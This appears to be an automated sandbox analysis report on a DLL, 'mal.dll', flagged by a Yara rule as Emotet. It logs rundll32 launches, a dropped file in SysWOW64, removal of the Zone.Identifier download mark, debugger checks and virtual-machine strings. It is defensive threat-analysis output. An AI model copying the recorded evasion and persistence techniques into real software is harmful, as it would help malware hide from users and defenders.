Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal.dll,bhramccfbdd
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lxelxho\ggoife.qjv",clLaoeKXf
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6880 -ip 6880
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6880 -s 304
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 6880 -ip 6880
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6880 -s 324
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Lxelxho\ggoife.qjv",Control_RunDLL
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\mal.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal.dll,Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal.dll,axamexdrqyrgb	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal.dll,bhramccfbdd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\mal.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lxelxho\ggoife.qjv",clLaoeKXf	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Lxelxho\ggoife.qjv",Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6880 -ip 6880	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6880 -s 304	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 6880 -ip 6880	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6880 -s 324	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WER2338.tmp

Jump to behavior

Source: classification engine

Classification label: mal80.troj.evad.winDLL@34/14@0/29

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal.dll,Control_RunDLL

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6880
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:4588:64:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:5648:64:WilError_01

Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: mal.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: mal.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1049802183.00000000047F5000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1049850870.0000000000D21000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1050065549.0000000000D21000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1050075392.0000000000D27000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1050252512.0000000000D27000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1049856280.0000000000D27000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 0000000D.00000003.1050075392.0000000000D27000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1050252512.0000000000D27000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1049856280.0000000000D27000.00000004.00000001.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1049845754.0000000000D1B000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1050441546.0000000000D1B000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 0000000D.00000003.1049850870.0000000000D21000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1050065549.0000000000D21000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: upwntdll.pdb source: WerFault.exe, 0000000F.00000003.1068429245.00000000005AC000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 0000000D.00000003.1053120370.0000000004B71000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1073164228.00000000049C1000.00000004.00000001.sdmp
Source:	Binary string: a`ojrcoCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 0000000D.00000002.1060706786.0000000000732000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 0000000D.00000003.1049845754.0000000000D1B000.00000004.00000001.sdmp, WerFault.exe, 0000000D.00000003.1050441546.0000000000D1B000.00000004.00000001.sdmp

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E579153 push ecx; ret	0_2_6E579166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080150F push ds; ret	2_2_00801527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080151C push ds; ret	2_2_00801527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E579153 push ecx; ret	2_2_6E579166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC150F push ds; ret	3_2_02CC1527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC151C push ds; ret	3_2_02CC1527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF150F push ds; ret	5_2_04AF1527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF151C push ds; ret	5_2_04AF1527

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E55E4E0 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,CreateMutexA,CloseHandle,ReleaseMutex,

0_2_6E55E4E0

Source: C:\Windows\SysWOW64\rundll32.exe

PE file moved: C:\Windows\SysWOW64\Lxelxho\ggoife.qjv

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

File opened: C:\Windows\SysWOW64\Lxelxho\ggoife.qjv:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	API coverage: 6.4 %
Source: C:\Windows\SysWOW64\rundll32.exe	API coverage: 9.8 %

Source: C:\Windows\System32\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E572FE7 FindFirstFileExW,		0_2_6E572FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E572FE7 FindFirstFileExW,		2_2_6E572FE7

Source: C:\Windows\SysWOW64\rundll32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: Amcache.hve.13.dr	Binary or memory string: VMware
Source: Amcache.hve.13.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.13.dr	Binary or memory string: VMware-42 35 9c fb 73 fa 4e 1b-fb a4 60 e7 7b e5 4a ed
Source: Amcache.hve.13.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual disk SCSI Disk Devicehbin
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.13.dr	Binary or memory string: VMware7,1
Source: Amcache.hve.13.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.13.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.13989454.B64.1906190538,BiosReleaseDate:06/19/2019,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: WerFault.exe, 0000000F.00000003.1097517730.0000000000DAF000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.1097471671.0000000000DDA000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000002.1099244090.0000000000DDA000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000002.1099138817.0000000000DAF000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.13.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.13.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.13.dr	Binary or memory string: VMware, Inc.me
Source: WerFault.exe, 0000000F.00000003.1097471671.0000000000DDA000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000002.1099244090.0000000000DDA000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW_
Source: Amcache.hve.13.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: WerFault.exe, 0000000F.00000003.1095876016.0000000000DAF000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.13.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E56D1CC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6E56D1CC

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E55E4E0 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,CreateMutexA,CloseHandle,ReleaseMutex,

0_2_6E55E4E0

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E551290 GetProcessHeap,HeapAlloc,RtlAllocateHeap,HeapFree,

0_2_6E551290

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E56C050 mov eax, dword ptr fs:[00000030h]	0_2_6E56C050
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E56BFE0 mov esi, dword ptr fs:[00000030h]	0_2_6E56BFE0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E56BFE0 mov eax, dword ptr fs:[00000030h]	0_2_6E56BFE0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E5712CB mov ecx, dword ptr fs:[00000030h]	0_2_6E5712CB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E57298C mov eax, dword ptr fs:[00000030h]	0_2_6E57298C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00814315 mov eax, dword ptr fs:[00000030h]	2_2_00814315
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E56C050 mov eax, dword ptr fs:[00000030h]	2_2_6E56C050
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E56BFE0 mov esi, dword ptr fs:[00000030h]	2_2_6E56BFE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E56BFE0 mov eax, dword ptr fs:[00000030h]	2_2_6E56BFE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E5712CB mov ecx, dword ptr fs:[00000030h]	2_2_6E5712CB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E57298C mov eax, dword ptr fs:[00000030h]	2_2_6E57298C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD4315 mov eax, dword ptr fs:[00000030h]	3_2_02CD4315
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B04315 mov eax, dword ptr fs:[00000030h]	5_2_04B04315

Source: C:\Windows\System32\loaddll32.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E56CB22 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6E56CB22
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E56D1CC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6E56D1CC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E5729E6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6E5729E6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E56CB22 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6E56CB22
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E56D1CC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6E56D1CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E5729E6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6E5729E6

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\mal.dll",#1	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6880 -ip 6880	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6880 -s 304	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 6880 -ip 6880	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6880 -s 324	Jump to behavior

Source: loaddll32.exe, 00000000.00000000.1063412591.0000000001680000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.1065419464.0000000001680000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.1041457721.0000000001680000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.1036067345.0000000001680000.00000002.00020000.sdmp, rundll32.exe, 00000012.00000002.1193004056.0000000003800000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: loaddll32.exe, 00000000.00000000.1063412591.0000000001680000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.1065419464.0000000001680000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.1041457721.0000000001680000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.1036067345.0000000001680000.00000002.00020000.sdmp, rundll32.exe, 00000012.00000002.1193004056.0000000003800000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000000.1063412591.0000000001680000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.1065419464.0000000001680000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.1041457721.0000000001680000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.1036067345.0000000001680000.00000002.00020000.sdmp, rundll32.exe, 00000012.00000002.1193004056.0000000003800000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000000.1063412591.0000000001680000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.1065419464.0000000001680000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.1041457721.0000000001680000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.1036067345.0000000001680000.00000002.00020000.sdmp, rundll32.exe, 00000012.00000002.1193004056.0000000003800000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E56CC44 cpuid

0_2_6E56CC44

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E56CE15 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6E56CE15

Source: Amcache.hve.13.dr

Binary or memory string: c:\program files\windows defender\msmpeng.exe

Stealing of Sensitive Information:

Yara detected Emotet

Show sources

Source: Yara match	File source: 0.0.loaddll32.exe.cf0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.4af0000.1.raw.unpack, type: UNPACKEDPE
